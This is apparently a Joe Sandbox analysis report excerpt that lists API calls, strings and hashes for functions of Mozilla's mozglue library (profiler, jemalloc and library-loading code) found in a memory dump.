Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

jsallocations, xrefs: 6C51CD0E
notimerresolutionchange, xrefs: 6C51CE00
mainthreadio, xrefs: 6C51CC7C
nativeallocations, xrefs: 6C51CDA8
screenshots, xrefs: 6C51CCD4
unregisteredthreads, xrefs: 6C51CE58
ipcmessages, xrefs: 6C51CDBE
java, xrefs: 6C51CC37
noiostacks, xrefs: 6C51CCBE
cpuallthreads, xrefs: 6C51CE16
seqstyle, xrefs: 6C51CCE6
markersallthreads, xrefs: 6C51CE42
processcpu, xrefs: 6C51CE6E
leaf, xrefs: 6C51CC66
Unrecognized feature "%s"., xrefs: 6C51CEA0
power, xrefs: 6C51CE84
preferencereads, xrefs: 6C51CD92
nostacksampling, xrefs: 6C51CD7C
default, xrefs: 6C51CC21
fileio, xrefs: 6C51CC92
stackwalk, xrefs: 6C51CCF8
samplingallthreads, xrefs: 6C51CE2C
audiocallbacktracing, xrefs: 6C51CDD4
fileioall, xrefs: 6C51CCA8

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

GUl, xrefs: 6C4E44FC
user32.dll, xrefs: 6C4E4557, 6C4E463F
NativeNtBlockSet_Write, xrefs: 6C4E46F7
kernel32.dll, xrefs: 6C4E44CD
WRusr.dll, xrefs: 6C4E44B5
l, xrefs: 6C4E4578

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

" attempted to re-register as ", xrefs: 6C51F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F
Thread , xrefs: 6C51F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C51EED7
[I %d/%d] profiler_pause, xrefs: 6C51F008

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

MOZ_CRASH(), xrefs: 6C50D277
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
MALLOC_OPTIONS, xrefs: 6C50D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
<jemalloc>, xrefs: 6C50D268, 6C50D311

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
